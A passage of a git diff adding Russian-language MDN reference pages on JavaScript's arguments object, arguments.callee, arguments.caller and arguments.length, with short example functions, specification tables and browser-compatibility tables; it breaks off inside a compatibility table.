+<div class="warning"><strong>Внимание:</strong> В ES5 <a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a> использование <code>arguments.callee</code> запрещено.</div>
+
+<h3 id="Зачем_вообще_использовать_arguments.callee">Зачем вообще использовать <code>arguments.callee</code>?</h3>
+
+<p>В ранних версиях javaScript отсутствовала такая фишка, как <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/function#%D0%98%D0%BC%D0%B5%D0%BD%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%B2%D1%8B%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5">Named Function Expression </a>и единственным спасением было свойство <strong>callee</strong>. К примеру:</p>
+
+<pre class="brush: js">var f = function test() {
+    alert(typeof test); //undefined
+    alert(typeof arguments.callee); //function
+}
+</pre>
+
+<p>В нынешние времена, когда мы уже можем работать с <em>NFE</em>, надобность в использовании свойства <strong>callee </strong>сама собой отпадает<strong>.</strong></p>
+
+<pre class="brush: js">var f = function test(){
+   alert(typeof test); //function
+}</pre>
+
+<p> </p>
+
+<p>Действительно незаменимым оно остается всего в одной ситуации. Когда мы создаем анонимную функцию напрямую через конструктор <em>Function.</em></p>
+
+<pre class="line-numbers  language-javascript"><code class="language-javascript"><span class="keyword token">var b = new Function("", "alert(typeof arguments.callee)");</span></code></pre>
+
+<p> </p>
+
+<h2 id="Пример_использования">Пример использования</h2>
+
+<p> </p>
+
+<h3 id="Использование_arguments.callee_для_создания_рекурсии">Использование <code>arguments.callee</code> для создания рекурсии</h3>
+
+<pre class="line-numbers  language-javascript"><code class="language-javascript"><span class="keyword token">var factorial = function</span><span class="punctuation token">(</span>n<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">return</span> n<span class="operator token"> == </span><span class="number token">1</span> <span class="operator token">?</span> <span class="number token">1</span> <span class="punctuation token">:</span> n<span class="operator token"> * </span>arguments<span class="punctuation token">.</span><span class="function token">callee</span><span class="punctuation token">(</span>n<span class="number token">-1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">};
+
+</span><span class="keyword token">factorial</span></code>(7);
+</pre>
+
+<p> </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/arguments/caller/index.html b/files/ru/web/javascript/reference/functions/arguments/caller/index.html
new file mode 100644
index 0000000000..0b6fe5cc4b
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/arguments/caller/index.html
@@ -0,0 +1,100 @@
+---
+title: arguments.caller
+slug: Web/JavaScript/Reference/Functions/arguments/caller
+tags:
+  - Functions
+  - JavaScript
+  - Obsolete
+  - Property
+  - arguments
+translation_of: Archive/Web/JavaScript/arguments.caller
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Устаревшее свойство <strong><code>arguments.caller</code></strong> использовалось для того, чтобы определить источник вызова функции, выполняющейся в текущий момент времени. Данное свойство было удалено и больше не работает.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Данное свойство больше не доступно, но вы все так же можете использовать {{jsxref("Function.caller")}}.</p>
+
+<pre class="brush: js">function whoCalled() {
+   if (whoCalled.caller == null)
+      console.log('Меня вызвали из глобальной области видимости.');
+   else
+      console.log(whoCalled.caller + ' вызвал меня!');
+}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Код, приведенный ниже, больше не работает, но раньше он использовался для проверки значения <code>arguments.caller</code> функции.</p>
+
+<pre class="brush: js example-bad">function whoCalled() {
+   if (arguments.caller == null)
+      console.log('Меня вызвали из глобальной области видимости.');
+   else
+      console.log(arguments.caller + ' вызвал меня!');
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Не является частью какого-либо стандарта. Реализовано в JavaScript 1.1 и удалено в {{bug(7224)}}, поскольку влекло за собой потенциальную уязвимость.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<br>
+    <a href="https://msdn.microsoft.com/en-US/library/gg622933(v=vs.85).aspx">удалено в IE 9</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/arguments/index.html b/files/ru/web/javascript/reference/functions/arguments/index.html
new file mode 100644
index 0000000000..13ef8edd8d
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/arguments/index.html
@@ -0,0 +1,241 @@
+---
+title: Объект arguments
+slug: Web/JavaScript/Reference/Functions/arguments
+tags:
+  - Functions
+  - JavaScript
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>
+<div>{{jsSidebar("Functions")}}</div>
+</div>
+
+<p>Объект <code><strong>arguments</strong></code> — это подобный массиву объект, который содержит аргументы, переданные в функцию.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Если вы пишите ES6-совместимый код, то лучше использовать <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">rest параметры</a>.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> "Подобный массиву" означает, что <code>arguments</code> имеет свойство {{jsxref("Functions/arguments/length", "length")}}, а элементы индексируются начиная с нуля. Но при это он не может обращаться к встроенным методам {{JSxRef("Array")}}, таким как {{jsxref("Array.forEach", "forEach()")}} или {{jsxref("Array.map", "map()")}}. Подробнее об этом в <a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments#Описание">§Описании</a>.</p>
+</div>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">arguments</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Объект <code>arguments</code> — это локальная переменная, доступная внутри любой (нестрелочной) функции. Объект <code>arguments</code> позволяет ссылаться на аргументы функции внутри неё. Он состоит из переданных в функцию аргументов, индексация начинается с 0. Например, если в функцию было передано 3 аргумента, обратиться к ним можно следующим образом:</p>
+
+<pre class="brush: js">arguments[0]
+arguments[1]
+arguments[2]
+</pre>
+
+<p>Аргументам может быть присвоено значение:</p>
+
+<pre class="brush: js">arguments[1] = 'new value';</pre>
+
+<p>Объект <code>arguments</code> не является {{jsxref("Array")}}. Он похож на массив, но не обладает ни одним из его свойств, кроме <code><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments/length" title="JavaScript/Reference/Functions_and_function_scope/arguments/length">length</a></code>. Например, у него нет метода <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Array/pop" title="JavaScript/Reference/Global_Objects/Array/pop">pop</a></code>. Однако он может быть преобразован в обычный массив:</p>
+
+<pre class="brush: js">var args = Array.prototype.slice.call(arguments);
+<code>var args = [].slice.call(arguments);
+</code>
+<code>// ES2015
+const args = Array.from(arguments);</code>
+<code>const args = [...arguments];</code>
+</pre>
+
+<div class="warning">
+<p>Использование <code>slice</code> на объекте <code>arguments</code> не позволяет сделать оптимизации в некоторых JavaScript движках (например, V8 — <a href="https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments">подробнее</a>). Если они важны, можно попробовать вместо этого создать новый массив с аналогичной длиной и заполнить его элементами объекта <code>arguments.</code> Альтернативный вариант — использовать конструктор <code>Array</code> как функцию:</p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> args <span class="operator token">=</span> <span class="punctuation token">(</span>arguments<span class="punctuation token">.</span>length <span class="operator token">===</span> <span class="number token">1</span> <span class="operator token">?</span> <span class="punctuation token">[</span>arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">]</span> <span class="punctuation token">:</span> Array<span class="punctuation token">.</span><span class="function token">apply</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> arguments<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>Объект <code>arguments</code> можно использовать при вызове функции с большим количеством аргументов, чем было предусмотрено в её объявлении. Такой способ удобен для функций, в которые допустимо передавать переменное количество аргументов. Можно воспользоваться <code><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments/length" title="JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>, чтобы определить количество переданных в функцию аргументов, а затем обработать каждый из них с помощью объекта <code>arguments</code>. Чтобы определить количество параметров функции, описанных в её <a href="/en-US/docs/Glossary/Signature/Function">сигнатуре</a>, можно использовать свойство <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/length" title="JavaScript/Reference/Global_Objects/Function/length">Function.length</a></code>.</p>
+
+<h3 id="Использование_typeof_с_объектом_arguments">Использование <code>typeof</code> с объектом <code>arguments</code></h3>
+
+<p>Применение оператора <code>typeof</code> к <code>arguments</code> вернёт 'object'.</p>
+
+<pre><code>console.log(typeof arguments); // 'object'</code></pre>
+
+<p>Определение типов аргументов может быть выполнено применением оператора <code>typeof</code> и индексацией.</p>
+
+<pre><code>// выведет тип первого аргумента
+console.log(typeof arguments[0]);</code></pre>
+
+<h3 id="Использование_оператора_расширения_для_объекта_arguments">Использование оператора расширения для объекта <code>arguments</code></h3>
+
+<p>Как и с обычными массиво-подобными объектами, для преобразования объекта <code>arguments</code> в обычный массив можно использовать метод {{jsxref("Array.from()")}} или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Spread_operator">оператор расширения:</a></p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> args <span class="operator token">=</span> Array<span class="punctuation token">.</span><span class="keyword token">from</span><span class="punctuation token">(</span>arguments<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> args <span class="operator token">=</span> <span class="punctuation token">[</span><span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span>arguments<span class="punctuation token">]</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments/callee" title="JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code></dt>
+ <dd>Ссылка на функцию, которая выполняется в текущий момент.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/caller" title="JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{ Obsolete_inline() }}</dt>
+ <dd>Ссылка на функцию, которая вызвала функцию, выполняющуюся в текущий момент.</dd>
+ <dt><code><a href="/ru/docs/Web/JavaScript/Reference/Functions/arguments/length" title="JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code></dt>
+ <dd>Количество переданных в функцию аргументов.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator">arguments[@@iterator]</a></code></dt>
+ <dd>Возвращает новый объект <code>Array Iterator</code>, содержащий значения для каждого индекса в массиве.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Создание_функции_соединяющей_несколько_строк">Создание функции, соединяющей несколько строк</h3>
+
+<p>Данный пример описывает функцию, которая соединяет несколько строк. Для этой функции объявлен только один аргумент, определяющий символ-разделитель соединяемых элементов. Функция определена следующим образом:</p>
+
+<pre class="brush:js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">myConcat</span><span class="punctuation token">(</span>separator<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> args <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>slice<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>arguments<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span> args<span class="punctuation token">.</span><span class="function token">join</span><span class="punctuation token">(</span>separator<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Вы можете передать любое количество аргументов в эту функцию. Она создает строку, используя каждый аргумент:</p>
+
+<pre class="brush:js">// возвращает "red, orange, blue"
+myConcat(", ", "red", "orange", "blue");
+
+// получает "elephant; giraffe; lion; cheetah"
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// выводит "sage. basil. oregano. pepper. parsley"
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");</pre>
+
+<h3 id="Функция_создающая_HTML_списки"> Функция, создающая HTML списки</h3>
+
+<p>В данном примере приведена функция, которая создает строку с HTML-разметкой для списка. Единственный ее аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):</p>
+
+<pre class="brush:js">function list(type) {
+  var result = "&lt;" + type + "l&gt;&lt;li&gt;";
+  var args = Array.prototype.slice.call(arguments, 1);
+  result += args.join("&lt;/li&gt;&lt;li&gt;");
+  result += "&lt;/li&gt;&lt;/" + type + "l&gt;"; // конец списка
+
+  return result;
+}</pre>
+
+<p>Вы можете использовать любое количество аргументов, а функция добавит каждый элемент в список заданного первым аргументом типа. Например:</p>
+
+<pre class="brush:js">var listHTML = list("u", "One", "Two", "Three");
+
+/* listHTML:
+
+"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
+
+*/</pre>
+
+<h3 id="Оставшиеся_деструктурированные_и_параметры_по_умолчанию">Оставшиеся, деструктурированные и параметры по умолчанию</h3>
+
+<p>Объект <code>arguments</code> может использоваться совместно с <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшимися параметрами</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметрами по умолчанию </a>или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированными параметрами</a>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">foo</span><span class="punctuation token">(</span><span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span>args<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">return</span> arguments<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="function token">foo</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">3</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// { "0": 1, "1": 2, "2": 3 }</span></code></pre>
+
+<p>Тем не менее, в нестрогих функциях <strong>соответствие между их аргументами и объектом <code>arguments</code></strong> существует только в том случае, если функция <strong>не</strong> содержит никаких <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированных параметров</a>. Например, в функции, приведенной ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">bar</span><span class="punctuation token">(</span>a<span class="operator token">=</span><span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">100</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span> a<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="function token">bar</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 10</span></code></pre>
+
+<p>В следующем примере возвращается 100, поскольку здесь нет <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированных параметров</a>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">zoo</span><span class="punctuation token">(</span>a<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">100</span><span class="punctuation token">;</span>
+  <span class="keyword token">return</span> a<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="function token">zoo</span><span class="punctuation token">(</span><span class="number token">10</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// 100</span></code></pre>
+
+<p>На самом деле, если <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшиеся параметры</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированные параметры</a> не используются, формальные аргументы будут ссылаться на последние значения объекта <strong><code>arguments</code></strong>, при считывании значений формальных аргументов будут считаны последние данные из <strong><code>arguments</code></strong>, а при изменении значений формальных аргументов будет обновлен и объект <strong><code>arguments</code></strong>. Пример приведен в коде ниже:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">func</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">90</span><span class="punctuation token">;</span>
+    arguments<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">99</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a <span class="operator token">+</span> <span class="string token">" "</span> <span class="operator token">+</span> b<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">func</span><span class="punctuation token">(</span><span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//90, 99</span></code></pre>
+
+<p>или</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">func</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    a <span class="operator token">=</span> <span class="number token">9</span><span class="punctuation token">;</span>
+    b <span class="operator token">=</span> <span class="number token">99</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">+</span> <span class="string token">" "</span> <span class="operator token">+</span> arguments<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">func</span><span class="punctuation token">(</span><span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">4</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//9, 99</span></code></pre>
+
+<p>Но в случае, когда применяются <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшиеся параметры</a>, <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметры по умолчанию</a> или <a href="/ru/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">деструктурированные параметры</a>, будет обработано нормальное поведение, как в случае <a href="/ru/docs/Web/JavaScript/Reference/Functions/Default_parameters">параметров по умолчанию</a>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">func</span><span class="punctuation token">(</span>a<span class="punctuation token">,</span> b<span class="punctuation token">,</span> c<span class="operator token">=</span><span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    arguments<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">99</span><span class="punctuation token">;</span>
+    arguments<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span> <span class="operator token">=</span> <span class="number token">98</span><span class="punctuation token">;</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>a <span class="operator token">+</span> <span class="string token">" "</span> <span class="operator token">+</span> b<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="function token">func</span><span class="punctuation token">(</span><span class="number token">3</span><span class="punctuation token">,</span> <span class="number token">4</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//3, 4</span></code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/functions/arguments/length/index.html b/files/ru/web/javascript/reference/functions/arguments/length/index.html
new file mode 100644
index 0000000000..4411d266e5
--- /dev/null
+++ b/files/ru/web/javascript/reference/functions/arguments/length/index.html
@@ -0,0 +1,117 @@
+---
+title: arguments.length
+slug: Web/JavaScript/Reference/Functions/arguments/length
+translation_of: Web/JavaScript/Reference/Functions/arguments/length
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>arguments.length</code></strong>  свойство, содержащее число аргументов переданных в функцию.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">arguments.length</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>arguments.length свойство содержашее число аргументов переданных в функцию. Оно может быть больше или меньше опреденного параметра count (см. {{jsxref("Function.length")}}).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_arguments.length"><code>Использование arguments.length</code></h3>
+
+<p>В этом примере мы определяем функцию, которая может сложить 2 или более чисел вместе.</p>
+
+<pre class="brush: js">function adder(base /*, n2, ... */) {
+  base = Number(base);
+  for (var i = 1; i &lt; arguments.length; i++) {
+    base += Number(arguments[i]);
+  }
+  return base;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition. Implemented in JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
